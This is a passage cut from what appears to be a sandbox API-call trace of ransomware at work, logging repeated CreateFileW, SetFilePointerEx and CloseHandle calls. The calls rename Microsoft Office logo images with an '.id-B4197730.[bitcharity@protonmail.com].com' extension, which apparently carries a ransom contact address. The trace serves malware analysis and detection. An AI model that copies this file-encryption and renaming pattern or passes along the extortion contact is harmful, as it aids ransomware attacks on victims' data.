Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.557] CloseHandle (hObject=0x1068) returned 1 [0266.557] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.558] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.558] CloseHandle (hObject=0x1068) returned 1 [0266.559] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.559] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.559] CloseHandle (hObject=0x1068) returned 1 [0266.560] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.560] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.560] CloseHandle (hObject=0x1068) returned 1 [0266.561] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.561] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.561] CloseHandle (hObject=0x1068) returned 1 [0266.562] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.562] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.562] CloseHandle (hObject=0x1068) returned 1 [0266.563] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.563] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.563] CloseHandle (hObject=0x1068) returned 1 [0266.564] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.564] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.564] CloseHandle (hObject=0x1068) returned 1 [0266.565] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.588] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.589] CloseHandle (hObject=0x1068) returned 1 [0266.590] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.590] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogo.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogo.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.590] CloseHandle (hObject=0x1068) returned 1 [0266.591] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.591] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.591] CloseHandle (hObject=0x1068) returned 1 [0266.592] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.592] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.592] CloseHandle (hObject=0x1068) returned 1 [0266.593] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.593] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.593] CloseHandle (hObject=0x1068) returned 1 [0266.594] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.594] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.594] CloseHandle (hObject=0x1068) returned 1 [0266.594] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.595] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.595] CloseHandle (hObject=0x1068) returned 1 [0266.595] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.595] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.596] CloseHandle (hObject=0x1068) returned 1 [0266.597] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.597] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.597] CloseHandle (hObject=0x1068) returned 1 [0266.598] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.598] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.598] CloseHandle (hObject=0x1068) returned 1 [0266.599] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.599] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.599] CloseHandle (hObject=0x1068) returned 1 [0266.600] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.600] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.600] CloseHandle (hObject=0x1068) returned 1 [0266.601] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.601] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.601] CloseHandle (hObject=0x1068) returned 1 [0266.602] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.602] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\FirstRunLogoSmall.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\firstrunlogosmall.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.602] CloseHandle (hObject=0x1068) returned 1 [0266.603] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.603] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.603] CloseHandle (hObject=0x1068) returned 1 [0266.604] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.604] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.604] CloseHandle (hObject=0x1068) returned 1 [0266.605] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.605] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.605] CloseHandle (hObject=0x1068) returned 1 [0266.606] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.606] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.606] CloseHandle (hObject=0x1068) returned 1 [0266.607] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.607] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.607] CloseHandle (hObject=0x1068) returned 1 [0266.608] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.608] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.687] CloseHandle (hObject=0x1068) returned 1 [0266.947] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.947] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.947] CloseHandle (hObject=0x1274) returned 1 [0266.948] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.948] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.949] CloseHandle (hObject=0x1274) returned 1 [0266.949] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.949] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogo.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.949] CloseHandle (hObject=0x1274) returned 1 [0266.957] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.957] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 